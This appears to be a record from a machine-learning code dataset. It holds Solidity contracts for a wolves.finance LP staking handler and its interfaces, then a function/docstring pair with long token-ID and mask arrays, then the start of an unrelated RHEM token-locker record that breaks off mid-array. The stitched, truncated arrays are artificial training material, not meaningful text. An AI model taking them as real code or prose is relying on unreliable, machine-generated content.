* Note: We place a dummy ERC1155 token with ID 0 into the CFolioItem's
* c-folio. The reason is that we want to know if a c-folio item gets burned,
* as burning an empty c-folio will result in no transfers. This prevents LP
* tokens from becoming inaccessible.
*
* Refer to the Minimal ERC1155 section below to learn which functions are
* needed for this.
*/
function setupCFolio(
address payer,
uint256 sftTokenId,
uint256[] calldata amounts
) external override {
// Validate access
require(_msgSender() == sftMinter, 'Only SFTMinter');
// Validate parameters, no unmasking required, must be SFT
address cFolio = sftHolder.tokenIdToAddress(sftTokenId);
require(cFolio != address(0), 'Invalid sftTokenId');
// Verify that this function is called the first time
(, uint256 length) = IWOWSCryptofolio(cFolio).getCryptofolio(address(this));
require(length == 0, 'CFIH: TradeFloor not empty');
if (amounts.length > 0 && amounts[0] > 0) {
// Transfer LP token to this contract
stakingToken.transferFrom(payer, address(this), amounts[0]);
// Record assets in Farm contract. They don't earn rewards.
// addAsset must only be called from Investment CFolios
cfolioFarm.addAssets(cFolio, amounts[0]);
}
// Transfer a dummy NFT token to cFolio so we get informed if the cFolio
// gets burned
IERC1155TokenReceiver(cFolio).onERC1155Received(
address(this),
address(0),
0,
1,
''
);
}
/**
* @dev See {ICFolioItemHandler-deposit}
*
* Note: tokenId can be owned by a base SFT
* In this case base SFT cannot be locked
*
* There is only need to update rewards if tokenId
* is part of an unlocked base SFT
*/
function deposit(
uint256 baseTokenId,
uint256 tokenId,
uint256[] calldata amounts
) external override {
// Validate parameters
require(amounts.length == 1 && amounts[0] > 0, 'CFIH: invalid amount');
(address baseCFolio, address itemCFolio) =
_verifyAssetAccess(baseTokenId, tokenId);
// Transfer LP token to this contract
stakingToken.transferFrom(_msgSender(), address(this), amounts[0]);
// Record assets in the Farm contract. They don't earn rewards.
// addAssets must only be called from Investment CFolios
cfolioFarm.addAssets(itemCFolio, amounts[0]);
if (baseTokenId != uint256(-1))
_updateRewards(baseCFolio, sftEvaluator.rewardRate(baseTokenId));
}
/**
* @dev See {ICFolioItemHandler-withdraw}
*
* Note: tokenId can be owned by a base SFT. In this case, the base SFT
* cannot be locked.
*
* There is only need to update rewards if tokenId is part of an unlocked
* base SFT.
*/
function withdraw(
uint256 baseTokenId,
uint256 tokenId,
uint256[] calldata amounts
) external override {
// Validate parameters
require(amounts.length == 1 && amounts[0] > 0, 'CFIH: invalid amount');
(address baseCFolio, address itemCFolio) =
_verifyAssetAccess(baseTokenId, tokenId);
// Record assets in Farm contract. They don't earn rewards.
// removeAsset must only be called from Investment CFolios
cfolioFarm.removeAssets(itemCFolio, amounts[0]);
// Transfer LP token from this contract
stakingToken.transfer(_msgSender(), amounts[0]);
if (baseTokenId != uint256(-1))
_updateRewards(baseCFolio, sftEvaluator.rewardRate(baseTokenId));
}
/**
* @dev See {ICFolioItemHandler-getRewards}
*
* Note: tokenId must be a base SFT card
*
* We allow reward pull only for unlocked SFTs.
*/
function getRewards(address recipient, uint256 tokenId) external override {
// Validate parameters
require(recipient != address(0), 'CFIH: Invalid recipient');
require(tokenId.isBaseCard(), 'CFIH: Invalid tokenId');
// Verify that tokenId has a valid cFolio address
uint256 sftTokenId = tokenId.toSftTokenId();
address cfolio = sftHolder.tokenIdToAddress(sftTokenId);
require(cfolio != address(0), 'Invalid c-folio address');
// Verify that the tokenId is owned by msg.sender in case of direct
// call or recipient in case of sftMinter call in the SFT contract.
// This also verifies that the token is not locked in TradeFloor.
require(
IERC1155(address(sftHolder)).balanceOf(_msgSender(), sftTokenId) == 1 ||
(_msgSender() == sftMinter &&
IERC1155(address(sftHolder)).balanceOf(recipient, sftTokenId) == 1),
'CFHI: Access denied'
);
cfolioFarm.getReward(cfolio, recipient);
}
/**
* @dev See {ICFolioItemHandler-getAmounts}
*/
function getAmounts(address cfolioItem)
external
view
override
returns (uint256[] memory)
{
uint256[] memory result = new uint256[](1);
result[0] = cfolioFarm.balanceOf(cfolioItem);
return result;
}
/**
* @dev See {ICFolioItemHandler-getRewardInfo}
*/
function getRewardInfo(uint256[] calldata tokenIds)
external
view
override
returns (bytes memory result)
{
uint256[5] memory uiData;
// Get basic data once
uiData = cfolioFarm.getUIData(address(0));
// total / rewardDuration / rewardPerDuration
result = abi.encodePacked(uiData[0], uiData[2], uiData[3]);
for (uint256 i = 0; i < tokenIds.length; ++i) {
uint256 sftTokenId = tokenIds[i].toSftTokenId();
uint256 share = 0;
uint256 earned = 0;
if (sftTokenId.isBaseCard()) {
address cfolio = sftHolder.tokenIdToAddress(sftTokenId);
if (cfolio != address(0)) {
uiData = cfolioFarm.getUIData(cfolio);
share = uiData[1];
earned = uiData[4];
}
}
result = abi.encodePacked(result, share, earned);
}
}
//////////////////////////////////////////////////////////////////////////////
// Maintanace
//////////////////////////////////////////////////////////////////////////////
/**
* @dev Upgrade contract
*/
function upgradeContract(CFolioItemHandlerLP newContract) external {
// Validate access
require(_msgSender() == admin, 'Admin only');
// Update state
stakingToken.transfer(
address(newContract),
stakingToken.balanceOf(address(this))
);
// Let new handler control the reward farm
cfolioFarm.transferOwnership(address(newContract));
// Dispatch event
LPContractUpgraded(address(this), address(newContract));
selfdestruct(payable(address(newContract)));
}
/**
* @dev Set a new SFT minter
*/
function setMinter(address newMinter) external {
// Validate access
require(_msgSender() == admin, 'Admin only');
// Validate parameters
require(newMinter != address(0), 'Invalid newMinter');
// Update state
sftMinter = newMinter;
// Dispatch event
emit NewLPMinter(newMinter);
}
//////////////////////////////////////////////////////////////////////////////
// Minimal ERC1155 implementation (called from SFTBase CFolio)
//////////////////////////////////////////////////////////////////////////////
// We do nothing for our dummy burn tokenId
function setApprovalForAll(address, bool) external {}
// Check for length == 1, and then return always 1
function balanceOfBatch(address[] calldata _owners, uint256[] calldata _ids)
external
pure
returns (uint256[] memory)
{
// Validate parameters
require(_owners.length == 1 && _ids.length == 1, 'Length must be 1');
uint256[] memory result = new uint256[](1);
result[0] = 1;
return result;
}
/**
* @dev We don't allow burning non-empty c-folios
*/
function burnBatch(
address, /* account */
uint256[] calldata tokenIds,
uint256[] calldata
) external view {
// Validate parameters
require(tokenIds.length == 1, 'Length must be 1');
// This call originates from the c-folio. We revert if there are investment
// amounts left for this c-folio address.
require(cfolioFarm.balanceOf(_msgSender()) == 0, 'CFIH: not empty');
}
//////////////////////////////////////////////////////////////////////////////
// Internal details
//////////////////////////////////////////////////////////////////////////////
/**
* @dev Run through all cFolioItems collected in cFolio and select the amount
* of LP tokens. Update cfolioFarm.
*/
function _updateRewards(address cfolio, uint32 rate) private {
// Get c-folio items of this base cFolio
(uint256[] memory tokenIds, uint256 length) =
IWOWSCryptofolio(cfolio).getCryptofolio(tradeFloor);
// Marginal increase in gas per item is around 25K. Bounding items to 100
// fits in sensible gas limits.
require(length <= 100, 'CFIHLP: Too many items');
// Calculate new reward amount
uint256 newRewardAmount = 0;
for (uint256 i = 0; i < length; ++i) {
address secondaryCFolio =
sftHolder.tokenIdToAddress(tokenIds[i].toSftTokenId());
require(secondaryCFolio != address(0), 'CFIH: Invalid secondary cFolio');
if (IWOWSCryptofolio(secondaryCFolio)._tradefloors(0) == address(this))
newRewardAmount = newRewardAmount.add(
cfolioFarm.balanceOf(secondaryCFolio)
);
}
newRewardAmount = newRewardAmount.mul(rate).div(1E6);
// Calculate existing reward amount
uint256 exitingRewardAmount = cfolioFarm.balanceOf(cfolio);
// Compare amounts and add/remove shares
if (newRewardAmount > exitingRewardAmount) {
// Update state
cfolioFarm.addShares(cfolio, newRewardAmount.sub(exitingRewardAmount));
// Dispatch event
emit LPRewardUpdated(exitingRewardAmount, newRewardAmount);
} else if (newRewardAmount < exitingRewardAmount) {
// Update state
cfolioFarm.removeShares(cfolio, exitingRewardAmount.sub(newRewardAmount));
// Dispatch event
emit LPRewardUpdated(exitingRewardAmount, newRewardAmount);
}
}
/**
* @dev Verifies if an asset access operation is allowed
*
* @param baseTokenId Base card tokenId or uint(-1)
* @param cfolioItemTokenId CFolioItem tokenId handled by this contract
*
* A tokenId is "unlocked", if msg.sender is the owner of a tokenId in SFT
* contract. If baseTokenId is uint(-1), cfolioItemTokenId has to be be
* unlocked, otherwise baseTokenId has to be unlocked and the locked
* cfolioItemTokenId inside its cfolio.
*/
function _verifyAssetAccess(uint256 baseTokenId, uint256 cfolioItemTokenId)
private
view
returns (address, address)
{
// Verify it's a cfolioItemTokenId
require(cfolioItemTokenId.isCFolioCard(), 'CFHI: Not CFolioCard');
// Verify that the tokenId is one of ours
address cFolio =
sftHolder.tokenIdToAddress(cfolioItemTokenId.toSftTokenId());
require(cFolio != address(0), 'CFIH: Invalid cFolioTokenId');
require(
IWOWSCryptofolio(cFolio)._tradefloors(0) == address(this),
'CFIH: Not our SFT'
);
address baseCFolio = address(0);
if (baseTokenId != uint256(-1)) {
// Verify it's a cfolio base card
require(baseTokenId.isBaseCard(), 'CFHI: Not baseCard');
baseCFolio = sftHolder.tokenIdToAddress(baseTokenId.toSftTokenId());
require(baseCFolio != address(0), 'CFIH: Invalid baseCFolioTokenId');
// Verify that the tokenId is owned by msg.sender in SFT contract.
// This also verifies that the token is not locked in TradeFloor.
require(
IERC1155(address(sftHolder)).balanceOf(_msgSender(), baseTokenId) == 1,
'CFHI: Access denied (B)'
);
// Verify that the tokenId is owned by given baseCFolio.
require(
IERC1155(address(tradeFloor)).balanceOf(
baseCFolio,
cfolioItemTokenId
) == 1,
'CFHI: Access denied (CF)'
);
} else {
// Verify that the tokenId is owned by msg.sender in SFT contract.
// This also verifies that the token is not locked in TradeFloor.
require(
IERC1155(address(sftHolder)).balanceOf(
_msgSender(),
cfolioItemTokenId
) == 1,
'CFHI: Access denied'
);
}
return (baseCFolio, cFolio);
}
}
/*
* Copyright (C) 2021 The Wolfpack
* This file is part of wolves.finance - https://github.com/wolvesofwallstreet/wolves.finance
*
* SPDX-License-Identifier: Apache-2.0
* See LICENSE.txt for more information.
*/
pragma solidity >=0.7.0 <0.8.0;
import '../../token/interfaces/ICFolioItemCallback.sol';
/**
* @dev Interface to C-folio item contracts
*/
interface ICFolioItemHandler is ICFolioItemCallback {
/**
* @dev Called when a SFT tokens grade needs re-evaluation
*
* @param tokenId The ERC-1155 token ID. Rate is in 1E6 convention: 1E6 = 100%
* @param newRate The new value rate
*/
function sftUpgrade(uint256 tokenId, uint32 newRate) external;
/**
* @dev Called from SFTMinter after an Investment SFT is minted
*
* @param payer The approved address to get investment from
* @param sftTokenId The sftTokenId whose c-folio is the owner of investment
* @param amounts The amounts of invested assets
*/
function setupCFolio(
address payer,
uint256 sftTokenId,
uint256[] calldata amounts
) external;
//////////////////////////////////////////////////////////////////////////////
// Asset access
//////////////////////////////////////////////////////////////////////////////
/**
* @dev Adds investments into a cFolioItem SFT
*
* Transfers amounts of assets from users wallet to the contract. In general,
* an Approval call is required before the function is called.
*
* @param baseTokenId cFolio tokenId, must be unlocked, or -1
* @param tokenId cFolioItem tokenId, must be unlocked if not in unlocked cFolio
* @param amounts Investment amounts, implementation specific
*/
function deposit(
uint256 baseTokenId,
uint256 tokenId,
uint256[] calldata amounts
) external;
/**
* @dev Removes investments from a cFolioItem SFT
*
* Withdrawn token are transfered back to msg.sender.
*
* @param baseTokenId cFolio tokenId, must be unlocked, or -1
* @param tokenId cFolioItem tokenId, must be unlocked if not in unlocked cFolio
* @param amounts Investment amounts, implementation specific
*/
function withdraw(
uint256 baseTokenId,
uint256 tokenId,
uint256[] calldata amounts
) external;
/**
* @dev Get the rewards collected by an SFT base card
*
* @param recipient Recipient of the rewards (- fees)
* @param tokenId SFT base card tokenId, must be unlocked
*/
function getRewards(address recipient, uint256 tokenId) external;
/**
* @dev Get amounts (handler specific) for a cfolioItem
*
* @param cfolioItem address of CFolioItem contract
*/
function getAmounts(address cfolioItem)
external
view
returns (uint256[] memory);
/**
* @dev Get information obout the rewardFarm
*
* @param tokenIds List of basecard tokenIds
* @return bytes of uint256[]: total, rewardDur, rewardRateForDur, [share, earned]
*/
function getRewardInfo(uint256[] calldata tokenIds)
external
view
returns (bytes memory);
}
/*
* Copyright (C) 2021 The Wolfpack
* This file is part of wolves.finance - https://github.com/wolvesofwallstreet/wolves.finance
*
* SPDX-License-Identifier: Apache-2.0
* See LICENSE.txt for more information.
*/
pragma solidity >=0.7.0 <0.8.0;
// BOIS feature bitmask
uint256 constant LEVEL2BOIS = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF0000000000000000000000000000000F;
uint256 constant LEVEL2WOLF = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF000000000000000000000000000000F0;
interface ISFTEvaluator {
/**
* @dev Returns the reward in 1e6 factor notation (1e6 = 100%)
*/
function rewardRate(uint256 sftTokenId) external view returns (uint32);
/**
* @dev Returns the cFolioItemType of a given cFolioItem tokenId
*/
function getCFolioItemType(uint256 tokenId) external view returns (uint256);
/**
* @dev Calculate the current reward rate, and notify TFC in case of change
*
* Optional revert on unchange to save gas on external calls.
*/
function setRewardRate(uint256 tokenId, bool revertUnchanged) external;
/**
* @dev Sets the cfolioItemType of a cfolioItem tokenId, not yet used
* sftHolder tokenId expected (without hash)
*/
function setCFolioItemType(uint256 tokenId, uint256 cfolioItemType_) external;
}
/*
* Copyright (C) 2020-2021 The Wolfpack
* This file is part of wolves.finance - https://github.com/wolvesofwallstreet/wolves.finance
*
* SPDX-License-Identifier: Apache-2.0
* See the file LICENSES/README.md for more information.
*/
pragma solidity >=0.6.0 <0.8.0;
/**
* @title ICFolioFarm
*
* @dev ICFolioFarm is the business logic interface to c-folio farms.
*/
interface ICFolioFarm {
/**
* @dev Return invested balance of account
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Return total, balances[account], rewardDuration, rewardForDuration, earned[account]
*/
function getUIData(address account) external view returns (uint256[5] memory);
/**
* @dev Increase amount of non-rewarded asset
*/
function addAssets(address account, uint256 amount) external;
/**
* @dev Remove amount of previous added assets
*/
function removeAssets(address account, uint256 amount) external;
/**
* @dev Increase amount of shares and earn rewards
*/
function addShares(address account, uint256 amount) external;
/**
* @dev Remove amount of previous added shares, rewards will not be claimed
*/
function removeShares(address account, uint256 amount) external;
/**
* @dev Claim rewards harvested during reward time
*/
function getReward(address account, address rewardRecipient) external;
/**
* @dev Remove all shares and call getRewards() in a single step
*/
function exit(address account, address rewardRecipient) external;
}
/**
* @title ICFolioFarmOwnable
*/
interface ICFolioFarmOwnable is ICFolioFarm {
/**
* @dev Transfer ownership
*/
function transferOwnership(address newOwner) external;
}
/*
* Copyright (C) 2021 The Wolfpack
* This file is part of wolves.finance - https://github.com/wolvesofwallstreet/wolves.finance
*
* SPDX-License-Identifier: Apache-2.0
* See LICENSE.txt for more information.
*/
pragma solidity >=0.7.0 <0.8.0;
/**
* @dev Interface to receive callbacks when minted tokens are burnt
*/
interface ICFolioItemCallback {
/**
* @dev Called when a TradeFloor CFolioItem is transfered
*
* In case of mint `from` is address(0).
* In case of burn `to` is address(0).
*
* cfolioHandlers are passed to let each cfolioHandler filter for its own
* token. This eliminates the need for creating separate lists.
*
* @param from The account sending the token
* @param to The account receiving the token
* @param tokenIds The ERC-1155 token IDs
* @param cfolioHandlers cFolioItem handlers
*/
function onCFolioItemsTransferedFrom(
address from,
address to,
uint256[] calldata tokenIds,
address[] calldata cfolioHandlers
) external;
/**
* @dev Append data we use later for hashing
*
* @param cfolioItem The token ID of the c-folio item
* @param current The current data being hashes
*
* @return The current data, with internal data appended
*/
function appendHash(address cfolioItem, bytes calldata current)
external
view
returns (bytes memory);
/**
* @dev get custom uri for tokenId
*/
function uri(uint256 tokenId) external view returns (string memory);
}
/*
* Copyright (C) 2021 The Wolfpack
* This file is part of wolves.finance - https://github.com/wolvesofwallstreet/wolves.finance
*
* SPDX-License-Identifier: Apache-2.0
* See the file LICENSES/README.md for more information.
*/
pragma solidity >=0.7.0 <0.8.0;
/**
* @notice Cryptofolio interface
*/
interface IWOWSCryptofolio {
//////////////////////////////////////////////////////////////////////////////
// Initialization
//////////////////////////////////////////////////////////////////////////////
/**
* @dev Initialize the deployed contract after creation
*
* This is a one time call which sets _deployer to msg.sender.
* Subsequent calls reverts.
*/
function initialize() external;
//////////////////////////////////////////////////////////////////////////////
// Getters
//////////////////////////////////////////////////////////////////////////////
/**
* @dev Return tradefloor at given index
*
* @param index The 0-based index in the tradefloor array
*
* @return The address of the tradefloor and position index
*/
function _tradefloors(uint256 index) external view returns (address);
/**
* @dev Return array of cryptofolio item token IDs
*
* The token IDs belong to the contract TradeFloor.
*
* @param tradefloor The TradeFloor that items belong to
*
* @return tokenIds The token IDs in scope of operator
* @return idsLength The number of valid token IDs
*/
function getCryptofolio(address tradefloor)
external
view
returns (uint256[] memory tokenIds, uint256 idsLength);
//////////////////////////////////////////////////////////////////////////////
// State modifiers
//////////////////////////////////////////////////////////////////////////////
/**
* @dev Set the owner of the underlying NFT
*
* This function is called if ownership of the parent NFT has changed.
*
* The new owner gets allowance to transfer cryptofolio items. The new owner
* is allowed to transfer / burn cryptofolio items. Make sure that allowance
* is removed from previous owner.
*
* @param owner The new owner of the underlying NFT, or address(0) if the
* underlying NFT is being burned
*/
function setOwner(address owner) external;
/**
* @dev Allow owner (of parent NFT) to approve external operators to transfer
* our cryptofolio items
*
* The NFT owner is allowed to approve operator to handle cryptofolios.
*
* @param operator The operator
* @param allow True to approve for all NFTs, false to revoke approval
*/
function setApprovalForAll(address operator, bool allow) external;
/**
* @dev Burn all cryptofolio items
*
* In case an underlying NFT is burned, we also burn the cryptofolio.
*/
function burn() external;
}
/*
* Copyright (C) 2021 The Wolfpack
* This file is part of wolves.finance - https://github.com/wolvesofwallstreet/wolves.finance
*
* SPDX-License-Identifier: Apache-2.0
* See the file LICENSES/README.md for more information.
*/
pragma solidity >=0.7.0 <0.8.0;
/**
* @notice Cryptofolio interface
*/
interface IWOWSERC1155 {
//////////////////////////////////////////////////////////////////////////////
// Getters
//////////////////////////////////////////////////////////////////////////////
/**
* @dev Check if the specified address is a known tradefloor
*
* @param account The address to check
*
* @return True if the address is a known tradefloor, false otherwise
*/
function isTradeFloor(address account) external view returns (bool);
/**
* @dev Get the token ID of a given address
*
* A cross check is required because token ID 0 is valid.
*
* @param tokenAddress The address to convert to a token ID
*
* @return The token ID on success, or uint256(-1) if `tokenAddress` does not
* belong to a token ID
*/
function addressToTokenId(address tokenAddress)
external
view
returns (uint256);
/**
* @dev Get the address for a given token ID
*
* @param tokenId The token ID to convert
*
* @return The address, or address(0) in case the token ID does not belong
* to an NFT
*/
function tokenIdToAddress(uint256 tokenId) external view returns (address);
/**
* @dev Get the next mintable token ID for the specified card
*
* @param level The level of the card
* @param cardId The ID of the card
*
* @return bool True if a free token ID was found, false otherwise
* @return uint256 The first free token ID if one was found, or invalid otherwise
*/
function getNextMintableTokenId(uint8 level, uint8 cardId)
external
view
returns (bool, uint256);
/**
* @dev Return the next mintable custom token ID
*/
function getNextMintableCustomToken() external view returns (uint256);
/**
* @dev Return the level and the mint timestamp of tokenId
*
* @param tokenId The tokenId to query
*
* @return mintTimestamp The timestamp token was minted
* @return level The level token belongs to
*/
function getTokenData(uint256 tokenId)
external
view
returns (uint64 mintTimestamp, uint8 level);
/**
* @dev Return all tokenIds owned by account
*/
function getTokenIds(address account)
external
view
returns (uint256[] memory);
//////////////////////////////////////////////////////////////////////////////
// State modifiers
//////////////////////////////////////////////////////////////////////////////
/**
* @dev Set the base URI for either predefined cards or custom cards
* which don't have it's own URI.
*
* The resulting uri is baseUri+[hex(tokenId)] + '.json'. where
* tokenId will be reduces to upper 16 bit (>> 16) before building the hex string.
*
*/
function setBaseMetadataURI(string memory baseContractMetadata) external;
/**
* @dev Set the contracts metadata URI
*
* @param contractMetadataURI The URI which point to the contract metadata file.
*/
function setContractMetadataURI(string memory contractMetadataURI) external;
/**
* @dev Set the URI for a custom card
*
* @param tokenId The token ID whose URI is being set.
* @param customURI The URI which point to an unique metadata file.
*/
function setCustomURI(uint256 tokenId, string memory customURI) external;
/**
* @dev Each custom card has its own level. Level will be used when
* calculating rewards and raiding power.
*
* @param tokenId The ID of the token whose level is being set
* @param cardLevel The new level of the specified token
*/
function setCustomCardLevel(uint256 tokenId, uint8 cardLevel) external;
}
/*
* Copyright (C) 2020-2021 The Wolfpack
* This file is part of wolves.finance - https://github.com/wolvesofwallstreet/wolves.finance
*
* SPDX-License-Identifier: Apache-2.0
* See the file LICENSES/README.md for more information.
*/
pragma solidity >=0.7.0 <0.8.0;
library AddressBook {
bytes32 public constant DEPLOYER = 'DEPLOYER';
bytes32 public constant TEAM_WALLET = 'TEAM_WALLET';
bytes32 public constant MARKETING_WALLET = 'MARKETING_WALLET';
bytes32 public constant UNISWAP_V2_ROUTER02 = 'UNISWAP_V2_ROUTER02';
bytes32 public constant WETH_WOWS_STAKE_FARM = 'WETH_WOWS_STAKE_FARM';
bytes32 public constant WOWS_TOKEN = 'WOWS_TOKEN';
bytes32 public constant UNISWAP_V2_PAIR = 'UNISWAP_V2_PAIR';
bytes32 public constant WOWS_BOOSTER = 'WOWS_BOOSTER';
bytes32 public constant REWARD_HANDLER = 'REWARD_HANDLER';
bytes32 public constant SFT_MINTER = 'SFT_MINTER';
bytes32 public constant SFT_HOLDER = 'SFT_HOLDER';
bytes32 public constant BOIS_REWARDS = 'BOIS_REWARDS';
bytes32 public constant WOLVES_REWARDS = 'WOLVES_REWARDS';
bytes32 public constant SFT_EVALUATOR_PROXY = 'SFT_EVALUATOR_PROXY';
bytes32 public constant TRADE_FLOOR_PROXY = 'TRADE_FLOOR_PROXY';
bytes32 public constant CURVE_Y_TOKEN = 'CURVE_Y_TOKEN';
bytes32 public constant CURVE_Y_DEPOSIT = 'CURVE_Y_DEPOSIT';
}
/*
* Copyright (C) 2021 The Wolfpack
* This file is part of wolves.finance - https://github.com/wolvesofwallstreet/wolves.finance
*
* SPDX-License-Identifier: Apache-2.0
* See LICENSE.txt for more information.
*/
pragma solidity >=0.7.0 <0.8.0;
library TokenIds {
// 128 bit underlying hash
uint256 public constant HASH_MASK = (1 << 128) - 1;
function isBaseCard(uint256 tokenId) internal pure returns (bool) {
return (tokenId & HASH_MASK) < (1 << 64);
}
function isStockCard(uint256 tokenId) internal pure returns (bool) {
return (tokenId & HASH_MASK) < (1 << 32);
}
function isCFolioCard(uint256 tokenId) internal pure returns (bool) {
return
(tokenId & HASH_MASK) >= (1 << 64) && (tokenId & HASH_MASK) < (1 << 128);
}
function toSftTokenId(uint256 tokenId) internal pure returns (uint256) {
return tokenId & HASH_MASK;
}
function maskHash(uint256 tokenId) internal pure returns (uint256) {
return tokenId & ~HASH_MASK;
}
}
/*
* Copyright (C) 2021 The Wolfpack
* This file is part of wolves.finance - https://github.com/wolvesofwallstreet/wolves.finance
*
* SPDX-License-Identifier: Apache-2.0
* See the file LICENSES/README.md for more information.
*/
pragma solidity >=0.7.0 <0.8.0;
interface IAddressRegistry {
/**
* @dev Set an abitrary key / address pair into the registry
*/
function setRegistryEntry(bytes32 _key, address _location) external;
/**
* @dev Get a registry enty with by key, returns 0 address if not existing
*/
function getRegistryEntry(bytes32 _key) external view returns (address);
}
| * @dev Upgrade contract/ Validate access Update state Let new handler control the reward farm Dispatch event | function upgradeContract(CFolioItemHandlerLP newContract) external {
require(_msgSender() == admin, 'Admin only');
stakingToken.transfer(
address(newContract),
stakingToken.balanceOf(address(this))
);
cfolioFarm.transferOwnership(address(newContract));
LPContractUpgraded(address(this), address(newContract));
selfdestruct(payable(address(newContract)));
}
| 7,019,993 | [
1,
10784,
6835,
19,
3554,
2006,
2315,
919,
10559,
394,
1838,
3325,
326,
19890,
284,
4610,
11552,
871,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
225,
445,
8400,
8924,
12,
8955,
355,
1594,
1180,
1503,
14461,
394,
8924,
13,
3903,
288,
203,
565,
2583,
24899,
3576,
12021,
1435,
422,
3981,
16,
296,
4446,
1338,
8284,
203,
203,
565,
384,
6159,
1345,
18,
13866,
12,
203,
1377,
1758,
12,
2704,
8924,
3631,
203,
1377,
384,
6159,
1345,
18,
12296,
951,
12,
2867,
12,
2211,
3719,
203,
565,
11272,
203,
203,
565,
6080,
355,
1594,
42,
4610,
18,
13866,
5460,
12565,
12,
2867,
12,
2704,
8924,
10019,
203,
203,
565,
511,
52,
8924,
1211,
19305,
12,
2867,
12,
2211,
3631,
1758,
12,
2704,
8924,
10019,
203,
203,
565,
365,
5489,
8813,
12,
10239,
429,
12,
2867,
12,
2704,
8924,
3719,
1769,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity ^0.4.24;
contract RHEM {
function balanceOf(address _owner) public view returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
}
contract Owner {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner`
* of the contract to the sender account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the current owner
*/
modifier onlyOwner {
require(msg.sender == owner);
_;
}
}
contract Locker is Owner {
RHEM rhem;
mapping(address => uint256) lockedBalances;
bool _isLocked = true;
uint256 totalLockedBalance;
event Add(address to, uint256 value);
event Unlock();
constructor(address _t) public {
rhem = RHEM(_t);
}
/**
* @dev get Rhem Balance of Contract Address
*/
function getContractRhemBalance() public view returns (uint256 balance) {
return rhem.balanceOf(address(this));
}
/**
* @dev Add Address with Lock Rhem Token
*/
function addLockAccount(address _addr, uint256 _value) public onlyOwner returns (bool success) {
require(_addr != address(0));
require(_value > 0);
uint256 amount = lockedBalances[_addr];
amount += _value;
require(amount > 0);
uint256 currentBalance = getContractRhemBalance();
totalLockedBalance += _value;
require(totalLockedBalance > 0);
require(totalLockedBalance <= currentBalance);
lockedBalances[_addr] = amount;
emit Add(_addr, _value);
return true;
}
/**
* @dev Unlock
*/
function unlock() public onlyOwner {
_isLocked = false;
emit Unlock();
}
/**
* @dev Check if locked
*/
function isLocked() public view returns (bool) {
return _isLocked;
}
/**
* @dev Get Lock Balance of Specific address
*/
function lockedBalanceOf(address _addr) public view returns (uint256 lockedBalance) {
return lockedBalances[_addr];
}
/**
* @dev Release Lock Rhem Token of the sender
*/
function release() public returns(bool success) {
require(!_isLocked);
require(lockedBalances[msg.sender] > 0);
rhem.transfer(msg.sender, lockedBalances[msg.sender]);
delete lockedBalances[msg.sender];
return true;
}
} | * @dev Check if locked/ | function isLocked() public view returns (bool) {
return _isLocked;
}
| 2,524,979 | [
1,
1564,
309,
8586,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
